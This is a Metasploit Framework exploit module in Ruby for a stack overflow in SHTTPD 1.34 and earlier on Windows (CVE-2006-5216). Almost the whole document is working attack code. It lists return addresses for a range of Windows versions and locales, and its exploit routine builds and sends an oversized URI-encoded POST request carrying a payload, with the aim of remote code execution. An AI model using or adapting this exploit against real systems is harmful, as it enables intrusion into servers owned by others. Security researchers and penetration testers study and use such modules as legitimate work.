SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',  
'Description' => %q{  
This module exploits a stack overflow in SHTTPD <= 1.34.   
The vulnerability is caused due to a boundary error within the  
handling of POST requests. Based on an original exploit by skOd  
but using a different method found by hdm.  
},  
'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-5216'],  
[ 'OSVDB', '29565' ],  
[ 'URL', 'http://shttpd.sourceforge.net'],  
[ 'BID', '20393'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Except for Spanish locale target, all come from:  
# http://metasploit.com/users/opcode/msfopcode.cgi  
[ 'Windows NT English SP5-SP6', { 'Ret' => 0x776a183a } ],  
[ 'Windows 2000 Spanish SP4', { 'Ret' => 0x79496391 } ],  
[ 'Windows 2000 French SP4', { 'Ret' => 0x74fb108d } ],  
[ 'Windows 2000 English SP0-SP4', { 'Ret' => 0x75021421 } ],  
[ 'Windows 2000 French SP0-SP4', { 'Ret' => 0x74fa3144 } ],  
[ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],  
[ 'Windows XP German SP2', { 'Ret' => 0x71a02975 } ],  
[ 'Windows XP German SP1', { 'Ret' => 0x71a02a6a } ],  
[ 'Windows XP English SP2', { 'Ret' => 0x71aa1e08 } ],  
[ 'Windows XP English SP0-SP1', { 'Ret' => 0x71aa1aaa } ],  
],  
'DisclosureDate' => 'Oct 6 2006'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def exploit  
connect  
  
pat = rand_text_alphanumeric(4000)  
pat[8,4] = [target.ret].pack('V')  
pat[103, payload.encoded.length] = payload.encoded  
pat = Rex::Text.uri_encode(pat)  
  
res = "post /#{pat} HTTP/1.0\r\n\r\n"  
  
print_status("Trying target address 0x%.8x..." % target.ret)  
sock.put(res)  
sock.close  
  
handler  
disconnect  
end  
  
end  
`